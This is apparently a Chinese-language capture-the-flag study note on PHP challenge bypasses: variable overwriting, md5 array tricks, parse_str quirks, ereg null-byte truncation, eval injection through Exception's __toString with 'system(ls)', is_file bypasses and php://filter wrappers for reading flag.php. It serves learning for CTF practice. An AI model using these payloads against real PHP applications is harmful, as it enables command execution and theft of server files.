tab绕过

非常少见的一种绕过形式,看标题就知道怎么操作了吧,想必就不用多介绍了

变量覆盖

先来看看下面这题

include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){    if($key==='error'){        die("what are you doing?!");    }    $$key=$$value;}foreach($_POST as $key => $value){    if($value==='flag'){        die("what are you doing?!");    }    $$key=$$value;}if(!($_POST['flag']==$flag)){    die($error);}echo "your are good".$flag."\n";die($suces);

想拿到flag的方法无非就是利用die($error)die($suces)这两个函数

先上分别利用到这两个函数的payload

方法一:
POST:error=a
GET:a=flag

方法二
GET:a=flag&flag=

方法一利用的是一次POST判断和一次GET判断,达到第三变量a传值的目的

而方法二则是利用两次GET传值进行变量覆盖,并且绕过了下面的if(!($_POST['flag']==$flag))

md5无法解析数组

RT,返回值均为null

parse_str()

把查询字符串解析到变量中。使用参考如下

传值的艺术

发现了一个十分微妙的地方,先来看看题目

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
​
}

?>

这里有两种方法可以拿到flag,第一种是通过md5匹配,另一种是通过md5处理数组返回均为null这个特点,结合弱比较来进行

但当我在传值的时候发现了一个有趣的现象,直接看下面这些结果你就能看出端倪

#有flag
v1=flag=0cc175b9c0f1b6a831c399e269772661
v3=a

#无flag
v1="flag=0cc175b9c0f1b6a831c399e269772661"
v3=a

#有flag
v1="flag=0"
v3[]=1

#无flag
v1=flag=0
v3[]=1

根据后两条有无flag的结果,结合弱比较表可以推断,有加双引号的一组将flag值赋值为了数字型的0,而每加的赋值为了字符型的0

本地测试的时候,当我设置变量v1="flag=1"时,经过parse_str()函数转换后,发现flag变量类型仍然为string而不是int

两者结果截然不同,具体原因也暂时并不明确

 ereg()

 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

例如,代码如下

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)

使用c=a%00111就能绕过

Reflectionclass、Exception类

ReflectionClass被叫做反射类,顾名思义,可以理解为一个类的映射。

Exception被叫做异常处理,执行try里面的代码后,如果有错误就用exception抛出一个错误,然后通过catch捕捉错误信息

这两个类被利用的关键不在于他们本身的功能,而是他们的魔术方法__toString()。

__toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。

比如来看看下面这段代码

    $v1 = $_GET['v1'];    $v2 = $_GET['v2'];
        if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

echo会使得$v1类触发__toString(),其参数$v2会被输出。

因此,payload如下

?v1=CachingIterator&v2=system(ls)
?v1=Exception&v2=system(ls)

$v2()会把$v2返回的值会作为函数名去调用,但是调用失败了,但也不会影响执行

同理,如可以让返回值是phpinfo,也就是v2=phpinfo,就可以调用phpinfo()

FilesystemIterator类

功能就是文件迭代,参考图片

配合getcwd函数获取当前的目录,就能读取到当前目录下第一个文件的名字

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件

$GLOBALS

引用全局作用域中可用的全部变量。可以通过这个变量读取到被引用的flag.php文件中的flag

is_file()

is_file判断传入的东西是否是文件,但它认为伪协议不是文件。并且当文件层数过多时会导致溢出,也可以达到绕过的作用。例如下面这个判断

if(! is_file($file))

要让这个判断成立的方法也有很多,下面两种方法都能达到效果

方法一:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

方法二:
compress.zlib://flag.php

compress.zlib://

这个伪协议是比较少用的,但同样可以读出文件

这里顺便给出一个常用的伪协议绕过清单

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php